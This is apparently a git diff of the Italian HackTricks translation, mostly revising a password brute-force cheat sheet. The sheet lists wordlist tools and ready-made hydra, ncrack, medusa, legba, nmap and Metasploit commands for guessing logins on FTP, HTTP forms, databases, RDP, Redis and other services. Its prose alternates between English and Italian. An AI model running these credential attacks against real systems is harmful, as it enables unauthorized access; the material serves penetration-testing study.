<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -49,7 +49,7 @@ Ottieni l'accesso oggi:
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -10,11 +10,11 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
|
@ -35,7 +35,7 @@ Per l'esplorazione o la manipolazione approfondita dei PDF, sono disponibili str
|
|||
* Testo dietro le immagini o immagini sovrapposte
|
||||
* Commenti non visualizzati
|
||||
|
||||
Per l'analisi personalizzata dei PDF, è possibile utilizzare librerie Python come [PeepDF](https://github.com/jesparza/peepdf) per creare script di analisi su misura. Inoltre, il potenziale del PDF per lo storage di dati nascosti è così vasto che risorse come la guida NSA sui rischi e le contromisure dei PDF, anche se non più ospitata nella sua posizione originale, offrono comunque preziosi spunti. Una [copia della guida](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) e una raccolta di [trucchi sul formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) di Ange Albertini possono offrire ulteriori approfondimenti sull'argomento.
|
||||
Per l'analisi personalizzata dei PDF, è possibile utilizzare librerie Python come [PeepDF](https://github.com/jesparza/peepdf) per creare script di analisi su misura. Inoltre, il potenziale del PDF per lo storage di dati nascosti è così vasto che risorse come la guida NSA sui rischi e le contromisure dei PDF, sebbene non più ospitata nella sua posizione originale, offrono comunque preziosi spunti. Una [copia della guida](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) e una raccolta di [trucchi sul formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) di Ange Albertini possono offrire ulteriori letture sull'argomento.
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -47,6 +47,6 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,30 +1,30 @@
|
|||
# Brute Force - CheatSheet
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
||||
## Credenziali predefinite
|
||||
## Credenziali Predefinite
|
||||
|
||||
**Cerca su Google** le credenziali predefinite della tecnologia in uso, o **prova questi link**:
|
||||
**Cerca su Google** le credenziali predefinite della tecnologia che viene utilizzata, o **prova questi link**:
|
||||
|
||||
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
|
||||
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
|
||||
|
@ -37,7 +37,7 @@ Altri modi per supportare HackTricks:
|
|||
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
|
||||
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
|
||||
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
|
||||
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
|
||||
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
|
||||
|
||||
## **Crea i tuoi Dizionari**
|
||||
|
||||
|
@ -55,8 +55,6 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
|
|||
crunch 6 8 -t ,@@^^%%
|
||||
```
|
||||
### Cewl
|
||||
|
||||
Cewl è uno strumento che viene utilizzato per generare elenchi di parole da un sito web. Questo strumento può essere utile durante un attacco di forza bruta per creare una lista di possibili password basate sul contenuto del sito web target.
|
||||
```bash
|
||||
cewl example.com -m 5 -w words.txt
|
||||
```
|
||||
|
@ -68,7 +66,7 @@ python3 cupp.py -h
|
|||
```
|
||||
### [Wister](https://github.com/cycurity/wister)
|
||||
|
||||
Uno strumento generatore di liste di parole, che ti consente di fornire un insieme di parole, offrendoti la possibilità di creare molteplici variazioni dalle parole fornite, creando una lista di parole unica e ideale da utilizzare per un determinato obiettivo.
|
||||
Uno strumento generatore di liste di parole, che ti consente di fornire un insieme di parole, offrendoti la possibilità di creare molteplici variazioni dalle parole fornite, creando una lista di parole unica e ideale da utilizzare in relazione a un obiettivo specifico.
|
||||
```bash
|
||||
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
|
||||
|
||||
|
@ -102,7 +100,7 @@ Finished in 0.920s.
|
|||
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
|
||||
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
|
@ -126,7 +124,7 @@ msf> run
|
|||
```
|
||||
### AJP
|
||||
|
||||
Il protocollo AJP (Apache JServ Protocol) è un protocollo di comunicazione che viene utilizzato tipicamente tra un server web e un server di applicazioni. È possibile eseguire attacchi di forza bruta contro i parametri AJP per tentare di ottenere accesso non autorizzato al server di applicazioni.
|
||||
Il protocollo AJP (Apache JServ Protocol) è un protocollo di comunicazione che viene utilizzato tipicamente tra un server web e un server di applicazioni. È possibile sfruttare vulnerabilità nel protocollo AJP per eseguire attacchi di tipo brute force al fine di ottenere accesso non autorizzato al server di applicazioni.
|
||||
```bash
|
||||
nmap --script ajp-brute -p 8009 <IP>
|
||||
```
|
||||
|
@ -136,7 +134,7 @@ legba amqp --target localhost:5672 --username admin --password data/passwords.tx
|
|||
```
|
||||
### Cassandra
|
||||
|
||||
Cassandra è un database distribuito altamente scalabile che può essere soggetto a attacchi di forza bruta.
|
||||
Cassandra è un database distribuito altamente scalabile che consente di archiviare grandi quantità di dati senza punti di singolo errore. È possibile eseguire attacchi di forza bruta contro Cassandra per tentare di indovinare le credenziali di accesso. Questo può essere fatto utilizzando strumenti come Hydra o Metasploit.
|
||||
```bash
|
||||
nmap --script cassandra-brute -p 9160 <IP>
|
||||
# legba ScyllaDB / Apache Casandra
|
||||
|
@ -144,7 +142,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo
|
|||
```
|
||||
### CouchDB
|
||||
|
||||
CouchDB è un database NoSQL che può essere soggetto a attacchi di forza bruta per compromettere le credenziali di accesso. Per proteggere un'installazione di CouchDB da tali attacchi, è consigliabile implementare misure di sicurezza come l'uso di password robuste, la limitazione dei tentativi di accesso e l'implementazione di un firewall per filtrare il traffico indesiderato.
|
||||
CouchDB è un database NoSQL che può essere soggetto a attacchi di forza bruta per compromettere le credenziali di accesso. Gli hacker possono utilizzare strumenti automatizzati per tentare di indovinare le password e accedere illegalmente al database. Per proteggere CouchDB da attacchi di forza bruta, è consigliabile implementare politiche di password robuste, limitare il numero di tentativi di accesso e monitorare attentamente l'attività sospetta.
|
||||
```bash
|
||||
msf> use auxiliary/scanner/couchdb/couchdb_login
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
||||
|
@ -155,15 +153,13 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/word
|
|||
```
|
||||
### Elasticsearch
|
||||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method can be used to crack weak passwords or gain unauthorized access to a system. In the case of Elasticsearch, brute force attacks can be attempted to guess the credentials of the Elasticsearch service and gain access to sensitive data. It is important to use strong, complex passwords and implement security measures to prevent brute force attacks.
|
||||
Elasticsearch è un motore di ricerca e analisi distribuito e open source progettato per gestire dati strutturati e non strutturati. Elasticsearch utilizza un'interfaccia RESTful e JSON per indicizzare e cercare i dati. È ampiamente utilizzato per la ricerca full-text, monitoraggio delle applicazioni, analisi dei log e molto altro. Elasticsearch è altamente scalabile e può essere utilizzato per implementare ricerche complesse e analisi dei dati in tempo reale.
|
||||
```
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
||||
```
|
||||
### FTP
|
||||
|
||||
Il metodo di attacco brute-force è comunemente utilizzato per violare le credenziali di accesso FTP. Gli attaccanti utilizzano software automatizzati per generare una grande quantità di tentativi di accesso con password diverse fino a quando non riescono ad ottenere l'accesso al server FTP.
|
||||
Il Brute Force è una tecnica comunemente utilizzata per violare le password di accesso a un server FTP. Consiste nel tentativo di accesso ripetuto utilizzando diverse combinazioni di nomi utente e password fino a quando non si trova la combinazione corretta. Questo può essere fatto manualmente o utilizzando strumenti automatizzati come Hydra o Medusa. È importante notare che il Brute Force è considerato un attacco rudimentale e rumoroso, quindi è consigliabile utilizzarlo con cautela e solo con l'autorizzazione esplicita del proprietario del sistema.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> ftp
|
||||
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -188,7 +184,7 @@ legba http.ntlm2 --domain example.org --workstation client --username admin --pa
|
|||
```
|
||||
### HTTP - Invio modulo
|
||||
|
||||
In un attacco di forza bruta contro un modulo di invio HTTP POST, un attaccante invia una grande quantità di richieste POST al server web al fine di indovinare le credenziali di accesso o di ottenere l'accesso non autorizzato.
|
||||
In un attacco di forza bruta contro un modulo di invio HTTP POST, un attaccante invia una grande quantità di richieste POST al server, cercando di indovinare le credenziali di accesso o di inviare dati dannosi. Questo tipo di attacco può essere efficace contro moduli di accesso, moduli di invio di commenti o qualsiasi altro modulo che accetti dati tramite richieste POST HTTP.
|
||||
```bash
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
||||
# Use https-post-form mode for https
|
||||
|
@ -202,7 +198,7 @@ cmsmap -f W/J/D/M -u a -p a https://wordpress.com
|
|||
```
|
||||
### IMAP
|
||||
|
||||
IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. When a hacker brute forces an IMAP server, they attempt to gain unauthorized access by trying different combinations of usernames and passwords until the correct one is found. This is a common technique used to compromise email accounts.
|
||||
IMAP (Internet Message Access Protocol) is a widely used protocol for email retrieval. It operates over port 143 (or port 993 for secure SSL/TLS connections). Brute-forcing IMAP credentials involves trying different username and password combinations until the correct one is found. This can be done using tools like Hydra or Medusa. It is important to note that brute-forcing is a noisy attack and may trigger account lockouts or alerts.
|
||||
```bash
|
||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
|
||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
|
||||
|
@ -213,24 +209,10 @@ legba imap --username user --password data/passwords.txt --target localhost:993
|
|||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks are a common way to gain unauthorized access to IRC channels. Attackers use automated tools to try a large number of username and password combinations until they find the correct one. This method is effective against weak passwords but can be time-consuming for longer and more complex passwords. It is important to use strong and unique passwords to protect your IRC channels from brute force attacks.
|
||||
|
||||
#### Prevention
|
||||
|
||||
To prevent brute force attacks on your IRC channels, you can implement the following measures:
|
||||
|
||||
1. **Strong Passwords**: Encourage users to use strong and unique passwords that are not easily guessable.
|
||||
2. **Account Lockout**: Implement account lockout mechanisms that lock an account after a certain number of failed login attempts.
|
||||
3. **Rate Limiting**: Implement rate limiting to restrict the number of login attempts from a single IP address within a specific time frame.
|
||||
4. **Multi-factor Authentication**: Enable multi-factor authentication to add an extra layer of security to user accounts.
|
||||
5. **Regular Audits**: Regularly audit your IRC channels for any unauthorized access or suspicious activities.
|
||||
|
||||
By implementing these preventive measures, you can significantly reduce the risk of brute force attacks on your IRC channels.
|
||||
Brute force attacks on IRC accounts involve attempting to log in to an account by systematically trying all possible combinations of usernames and passwords until the correct one is found. This method is time-consuming but can be effective if the credentials are weak. Automated tools can be used to speed up the process.
|
||||
```bash
|
||||
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
|
||||
```
|
||||
### ISCSI
|
||||
|
||||
### ISCSI
|
||||
```bash
|
||||
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
|
||||
|
@ -262,27 +244,21 @@ jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibm
|
|||
```
|
||||
### LDAP
|
||||
|
||||
LDAP (Lightweight Directory Access Protocol) è un protocollo standard utilizzato per accedere e mantenere servizi di directory su una rete IP. LDAP è spesso soggetto a attacchi di forza bruta per ottenere accesso non autorizzato alle informazioni di autenticazione memorizzate nel server LDAP.
|
||||
LDAP (Lightweight Directory Access Protocol) è un protocollo standard aperto utilizzato per accedere e mantenere servizi di directory distribuiti su una rete IP.
|
||||
```bash
|
||||
nmap --script ldap-brute -p 389 <IP>
|
||||
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
|
||||
```
|
||||
### MQTT
|
||||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks against MQTT servers involve attempting to guess valid credentials by systematically trying all possible combinations of usernames and passwords. This is typically achieved using automated tools that can rapidly iterate through different combinations until the correct one is found.
|
||||
|
||||
#### Mitigation
|
||||
|
||||
To protect against brute force attacks on MQTT servers, it is recommended to implement strong password policies, such as using complex and unique passwords for each user. Additionally, enabling account lockout mechanisms after a certain number of failed login attempts can help prevent unauthorized access.
|
||||
MQTT (Message Queuing Telemetry Transport) è un protocollo di messaggistica leggero progettato per dispositivi con limitate risorse di rete.
|
||||
```
|
||||
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
|
||||
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
|
||||
```
|
||||
### Mongo
|
||||
|
||||
Brute force attacks against MongoDB databases are common due to the default configuration allowing unauthenticated access. Attackers can use tools like **Hydra** or **Metasploit** to perform brute force attacks against MongoDB databases. It is important to always secure your MongoDB instances with strong authentication mechanisms to prevent unauthorized access.
|
||||
Brute force attacks against MongoDB databases are common due to the default configuration allowing unauthenticated access. Attackers can use tools like **Hydra** or **Metasploit** to perform brute force attacks against MongoDB databases. It is important to always secure your MongoDB instances by setting strong passwords and enabling authentication to prevent unauthorized access.
|
||||
```bash
|
||||
nmap -sV --script mongodb-brute -n -p 27017 <IP>
|
||||
use auxiliary/scanner/mongodb/mongodb_login
|
||||
|
@ -292,11 +268,7 @@ legba mongodb --target localhost:27017 --username root --password data/passwords
|
|||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks against MSSQL servers can be performed using tools like **Hydra** or **Ncrack**. These tools allow you to systematically try all possible combinations of usernames and passwords until the correct one is found.
|
||||
|
||||
To perform a brute force attack against an MSSQL server, you need to specify the target server's IP address, the port MSSQL is running on (usually 1433), a list of usernames, and a list of passwords. The tool will then try all possible combinations until it gains access to the server.
|
||||
|
||||
It is important to note that brute force attacks can be time-consuming and resource-intensive. Additionally, they can easily be detected by intrusion detection systems (IDS) or firewalls if too many login attempts are made in a short period of time.
|
||||
Il metodo di attacco brute force è comunemente utilizzato per indovinare le credenziali di accesso a un server MSSQL. Questo attacco coinvolge la generazione di molteplici combinazioni di username e password fino a quando non viene trovata la corretta. È importante notare che l'uso di attacchi brute force può essere illegale e dannoso per il server di destinazione.
|
||||
```bash
|
||||
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
|
||||
```
|
||||
|
@ -304,7 +276,7 @@ legba mssql --username SA --password wordlists/passwords.txt --target localhost:
|
|||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks against MySQL databases involve attempting to guess the username and password combinations to gain unauthorized access. This can be done using automated tools that systematically try all possible combinations until the correct one is found. It is important to use strong and unique credentials to protect against brute force attacks.
|
||||
Brute force attacks against MySQL databases can be carried out using tools like Hydra or SQLMap. These tools can attempt to log in to MySQL databases by trying different combinations of usernames and passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and may trigger account lockouts or other security measures if too many failed login attempts are made.
|
||||
```bash
|
||||
# hydra
|
||||
hydra -L usernames.txt -P pass.txt <IP> mysql
|
||||
|
@ -322,17 +294,19 @@ legba mysql --username root --password wordlists/passwords.txt --target localhos
|
|||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks are a common method used to gain unauthorized access to OracleSQL databases. Attackers use automated tools to systematically try all possible combinations of usernames and passwords until the correct one is found. This method is time-consuming but can be effective if the credentials are weak or easily guessable.
|
||||
Brute force attacks are commonly used to crack passwords by systematically trying all possible combinations until the correct one is found. In the context of OracleSQL, brute force attacks can be used to guess usernames and passwords to gain unauthorized access to databases.
|
||||
|
||||
To protect against brute force attacks, it is essential to use strong, complex passwords and implement account lockout policies that lock out users after a certain number of failed login attempts. Additionally, monitoring login attempts and setting up alerts for multiple failed attempts can help detect and prevent brute force attacks.
|
||||
#### Prevention
|
||||
|
||||
#### Dictionary Attacks
|
||||
To prevent brute force attacks in OracleSQL, consider implementing the following measures:
|
||||
|
||||
Dictionary attacks are similar to brute force attacks but instead of trying all possible combinations, attackers use a predefined list of commonly used passwords. This method is more efficient than brute force attacks as it targets the most commonly used passwords first. To defend against dictionary attacks, it is crucial to avoid using easily guessable passwords and regularly update passwords to prevent unauthorized access.
|
||||
1. **Strong Passwords**: Enforce the use of strong, complex passwords that are difficult to guess.
|
||||
2. **Account Lockout Policy**: Implement an account lockout policy that locks out an account after a certain number of failed login attempts.
|
||||
3. **Monitoring**: Regularly monitor login attempts and look for any suspicious activity.
|
||||
4. **Two-Factor Authentication**: Implement two-factor authentication for an added layer of security.
|
||||
5. **Limit Login Attempts**: Limit the number of login attempts to prevent multiple failed attempts.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
Brute force and dictionary attacks are common techniques used by attackers to compromise OracleSQL databases. By implementing strong password policies, account lockout mechanisms, and monitoring login attempts, organizations can enhance the security of their databases and protect against unauthorized access.
|
||||
By implementing these preventive measures, you can significantly reduce the risk of brute force attacks in OracleSQL.
|
||||
```bash
|
||||
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
|
||||
|
||||
|
@ -365,8 +339,6 @@ pip3 install cx_Oracle --upgrade
|
|||
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
|
||||
```
|
||||
### POP
|
||||
|
||||
Il metodo brute-force è uno dei modi più comuni per ottenere l'accesso non autorizzato a un account. Consiste nel provare tutte le possibili combinazioni di password finché non si trova quella corretta. Questo metodo può essere efficace, ma può richiedere molto tempo a seconda della complessità della password. È importante utilizzare strumenti e tecniche appropriate per massimizzare l'efficienza di un attacco brute-force.
|
||||
```bash
|
||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
|
||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
|
||||
|
@ -379,7 +351,25 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar
|
|||
```
|
||||
### PostgreSQL
|
||||
|
||||
PostgreSQL è noto per essere resistente agli attacchi di forza bruta grazie alla sua gestione intelligente delle connessioni e delle richieste. Tuttavia, è sempre consigliabile implementare misure aggiuntive di sicurezza per proteggere il database da potenziali attacchi.
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks against PostgreSQL databases involve attempting to guess usernames and passwords to gain unauthorized access. This can be done using automated tools that systematically try all possible combinations of usernames and passwords until the correct one is found.
|
||||
|
||||
#### Protection
|
||||
|
||||
To protect against brute force attacks on PostgreSQL databases, consider implementing the following measures:
|
||||
|
||||
1. **Strong Passwords**: Enforce the use of complex and unique passwords for database accounts.
|
||||
|
||||
2. **Account Lockout Policy**: Implement an account lockout policy that locks out users after a certain number of failed login attempts.
|
||||
|
||||
3. **Monitoring**: Monitor database logs for any unusual login patterns or multiple failed login attempts.
|
||||
|
||||
4. **Two-Factor Authentication**: Implement two-factor authentication for an added layer of security.
|
||||
|
||||
5. **Firewall Rules**: Restrict access to the database server by allowing only specific IP addresses or ranges.
|
||||
|
||||
6. **Regular Audits**: Conduct regular security audits to identify and address any vulnerabilities in the database system.
|
||||
```bash
|
||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
|
||||
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
|
||||
|
@ -397,6 +387,8 @@ sudo dpkg -i thc-pptp-bruter*.deb #Install the package
|
|||
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
|
||||
```
|
||||
### RDP
|
||||
|
||||
RDP (Remote Desktop Protocol) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. RDP brute force attacks involve trying multiple username and password combinations to gain unauthorized access to a remote system. These attacks can be mitigated by implementing account lockout policies, using complex passwords, and monitoring for multiple failed login attempts.
|
||||
```bash
|
||||
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
|
||||
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
|
||||
|
@ -404,7 +396,7 @@ legba rdp --target localhost:3389 --username admin --password data/passwords.txt
|
|||
```
|
||||
### Redis
|
||||
|
||||
Redis è un popolare database in memoria open source che può essere soggetto a attacchi di forza bruta. Gli attaccanti possono tentare di indovinare le credenziali di accesso utilizzando tecniche di forza bruta per accedere al database Redis e compromettere i dati sensibili. È importante implementare misure di sicurezza robuste, come l'uso di password complesse e la limitazione degli indirizzi IP autorizzati, per proteggere i database Redis da tali attacchi.
|
||||
Redis è un popolare database in memoria open-source che può essere soggetto a attacchi di forza bruta. Gli attaccanti possono tentare di indovinare le credenziali di accesso utilizzando elenchi predefiniti di password comuni o eseguendo attacchi di dizionario utilizzando strumenti come Hydra o Medusa. È importante proteggere adeguatamente le istanze di Redis utilizzando password complesse e configurazioni di sicurezza adeguate per prevenire con successo gli attacchi di forza bruta.
|
||||
```bash
|
||||
msf> use auxiliary/scanner/redis/redis_login
|
||||
nmap --script redis-brute -p 6379 <IP>
|
||||
|
@ -413,19 +405,19 @@ legba redis --target localhost:6379 --username admin --password data/passwords.t
|
|||
```
|
||||
### Rexec
|
||||
|
||||
Rexec è un protocollo di rete che consente a un utente di eseguire comandi su un sistema remoto. Può essere soggetto a attacchi di forza bruta per indovinare le credenziali di accesso.
|
||||
Rexec is a simple service that allows users to execute commands on a remote system. It is often used for testing purposes and can be a target for brute force attacks.
|
||||
```bash
|
||||
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
|
||||
```
|
||||
### Rlogin
|
